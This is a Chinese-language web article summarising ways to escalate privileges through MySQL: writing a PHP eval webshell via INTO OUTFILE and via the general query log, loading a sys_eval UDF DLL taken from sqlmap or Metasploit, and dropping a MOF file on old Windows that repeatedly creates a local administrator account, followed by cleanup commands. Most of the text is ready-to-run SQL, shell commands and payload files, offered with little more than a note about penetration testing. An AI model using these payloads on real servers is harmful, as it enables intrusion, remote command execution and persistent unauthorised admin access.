Mysql提权的多种姿势汇总

目录
  • 一、写入webshell
  • 二、udf提权
    • 三、mof提权

        一、写入webshell

        into outfile 写shell

        前提条件:

        1、知道网站物理路径

        2、高权限数据库用户

        3、load_file() 开启 即 secure_file_priv 无限制

        4、网站路径有写入权限

        首先基础语法查询是否 secure_file_priv 没有限制

        show global variables like '%secure_file_priv%';

        value说明
        null不允许导入或导出
        /var只允许在/var目录导入导出
        不限制目录

        在 mysql 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

        在 mysql 5.5之后 secure_file_priv 默认是 null,这个情况下不可以写文件

        如果满足上述所有条件的话,那么可以尝试使用下面的 sql 语句来直接写 shell:

        select '<?php @eval($_post[cmd]); ?>' into outfile 'c:\\soft\\www\\empirecms\\shell.php';

        查看目标路径下,已写入shell.php文件

        上菜刀连接

        日志文件写shell

        前提条件:

        1、web 文件夹宽松权限可以写入

        2、windows 系统下

        3、高权限运行 mysql 或者 apache

        mysql 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

        查看日志目录

        show variables like 'general%';

        general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
        可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

        更改日志文件位置

        set global general_log = "on";
        set global general_log_file='c:\\soft\\www\\empirecms\\log.php';
        

        查看当前日志配置

        目标目录下查看,写入了log.php文件

        写入shell

        select '<?php @eval($_post[cmd]); ?>'

        上菜刀,连接

        二、udf提权

        自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 mysql 中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数 version() 等方便。

        动态链接库

        如果是 mysql >= 5.1 的版本,必须把 udf 的动态链接库文件放置于 mysql 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

        那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 metasploit 里面都自带了对应系统的动态链接库文件。

        sqlmap的udf动态链接库文件位置

        sqlmap根目录/data/udf/mysql

        不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py ,

        解码方法如下:

        解码32位的windows动态链接库:

        python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

        其他linux和windows动态链接库解码类似

        或者直接使用metasploit自带的动态链接库,无需解码

        metasploit的udf动态链接库文件位置

        接下来的任务是把 udf 的动态链接库文件放到 mysql 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 sql 语句来查询:

        show variables like '%plugin%'
        
        
        

        写入动态链接库

        当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的

        select load_file('c:\\soft\\udfmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'c:\\soft\\mysql\\lib\\plugin\\udf.dll';
        

        c

        创建自定义函数并调用命令

        创建自定义函数

        create function sys_eval returns string soname 'udf.dll';

        查看是否新增了sys_eval

        接着就可以通过创建的这个函数来执行系统命令了:

        删除自定义函数

        drop function sys_eval;
        
        

        三、mof提权

        mof提权原理

        关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

        严苛的前提条件:

        1.windows 03及以下版本

        2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

        3.secure-file-priv参数不为null

        提权过程:

        mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的mof。mof当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

        利用代码如下(test.mof):

        #pragma namespace("\\\\.\\root\\subscription")
        instance of __eventfilter as $eventfilter
        {
        eventnamespace = "root\\cimv2";
        name = "filtp2";
        query = "select * from __instancemodificationevent "
        "where targetinstance isa \"win32_localtime\" "
        "and targetinstance.second = 5";
        querylanguage = "wql";
        };
        instance of activescripteventconsumer as $consumer
        {
        name = "conspcsv2";
        scriptingengine = "jscript";
        scripttext =
        "var wsh = new activexobject(\"wscript.shell\")\nwsh.run(\"net.exe user hpdoger 123456 /add\")\nwsh.run(\"net.exe localgroup administrators hpdoger /add\")";
        };
        instance of __filtertoconsumerbinding
        {
        consumer = $consumer;
        filter = $eventfilter;
        };
        

        mof文件利用:

        将上面的脚本上传到有读写权限的目录下:

        这里我上传到了c:\soft\,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

        select load_file(“c:/soft/test.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

        验证提权:

        当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

        关于mof提权弊端

        我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

        cmd 下运行下面语句:

        #停止winmgmt服务
        net stop winmgmt
        
        #删除 repository 文件夹
        rmdir /s /q c:\windows\system32\wbem\repository\
        
        # 手动删除 mof 文件
        del c:/windows/system32/wbem/mof/nullevt.mof /f /s
        
        # 删除创建的用户
        net user hpdoger /delete
        
        #重启服务
        net start winmgmt
        

        总结

        到此这篇关于mysql提权姿势的文章就介绍到这了,更多相关mysql提权姿势内容请搜索www.887551.com以前的文章或继续浏览下面的相关文章希望大家以后多多支持www.887551.com!

        (0)
        上一篇 2022年3月21日
        下一篇 2022年3月21日

        相关推荐